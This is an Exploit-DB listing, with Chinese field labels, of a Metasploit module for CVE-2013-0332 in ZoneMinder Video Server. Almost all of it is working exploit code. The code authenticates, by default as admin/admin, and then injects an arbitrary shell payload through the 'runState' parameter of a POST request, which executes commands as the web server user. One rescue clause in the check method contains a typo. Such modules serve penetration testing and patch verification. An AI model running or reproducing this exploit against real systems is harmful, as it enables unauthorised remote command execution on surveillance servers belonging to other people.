标题: ZoneMinder Video Server - packageControl Command Execution (Metasploit) EDB-ID: 24310 CVE: 2013-0332 2013-0232 类型: REMOTE 平台: UNIX 发布日期: 2013-01-24 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'ZoneMinder Video Server packageControl Command Execution',
   'Description'    => %q{
    This module exploits a command execution vulnerability in ZoneMinder Video
    Server version 1.24.0 to 1.25.0 which could be abused to allow
    authenticated users to execute arbitrary commands under the context of the
    web server user. The 'packageControl' function in the
    'includes/actions.php' file calls 'exec()' with user controlled data
    from the 'runState' parameter.
   },
   'References'     =>
    [
     ['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'],
    ],
   'Author'         =>
    [
     'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
    ],
   'License'        => MSF_LICENSE,
   'Privileged'     => true,
   'Arch'           => ARCH_CMD,
   'Platform'       => 'unix',
   'Payload'        =>
    {
     'BadChars'    => "\x00",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic telnet python perl bash',
      },
    },
   'Targets'        =>
    [
     ['Automatic Targeting', { 'auto' => true }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => "Jan 22 2013",
  ))

  register_options([
   OptString.new('USERNAME',  [true, 'The ZoneMinder username', 'admin']),
   OptString.new('PASSWORD',  [true, 'The ZoneMinder password', 'admin']),
   OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
  ], self.class)
 end

 def check

  peer    = "#{rhost}:#{rport}"
  base    = target_uri.path
  base    << '/' if base[-1, 1] != '/'
  user    = datastore['USERNAME']
  pass    = datastore['PASSWORD']
  cookie  = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
  data    = "action=login&view=version&username=#{user}&password=#{pass}"

  # login and retrieve software version
  print_status("#{peer} - Authenticating as user '#{user}'")
  begin
   res = send_request_cgi({
    'method' => 'POST',
    'uri'    => "#{base}index.php",
    'cookie' => "#{cookie}",
    'data'   => "#{data}",
   })
   if res and res.code == 200
    if res.body =~ /<title>ZM - Login<\/title>/
     print_error("#{peer} - Authentication failed")
     return Exploit::CheckCode::Unknown
    elsif res.body =~ /v1.2(4\.\d+|5\.0)/
     return Exploit::CheckCode::Appears
    elsif res.body =~ /<title>ZM/
     return Exploit::CheckCode::Detected
    end
   end
   return Exploit::CheckCode::Safe
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
   print_error("#{peer} - Connection failed")
  end
  return Exploit::CheckCode::Unknown

 end

 def exploit

  @peer    = "#{rhost}:#{rport}"
  base     = target_uri.path
  base    << '/' if base[-1, 1] != '/'
  cookie   = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
  user     = datastore['USERNAME']
  pass     = datastore['PASSWORD']
  data     = "action=login&view=postlogin&username=#{user}&password=#{pass}"
  command  = Rex::Text.uri_encode(payload.encoded)

  # login
  print_status("#{@peer} - Authenticating as user '#{user}'")
  begin
   res = send_request_cgi({
    'method' => 'POST',
    'uri'    => "#{base}index.php",
    'cookie' => "#{cookie}",
    'data'   => "#{data}",
   })
   if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
    fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
   end
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  end
  print_good("#{@peer} - Authenticated successfully")

  # send payload
  print_status("#{@peer} - Sending payload (#{command.length} bytes)")
  begin
   res = send_request_cgi({
    'method'    => 'POST',
    'uri'       => "#{base}index.php",
    'data'      => "view=none&action=state&runState=start;#{command}%26",
    'cookie'    => "#{cookie}"
   })
   if res and res.code == 200
    print_good("#{@peer} - Payload sent successfully")
   else
    fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
   end
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  end

 end

end URL: https://www.exploit-db.com/exploits/24310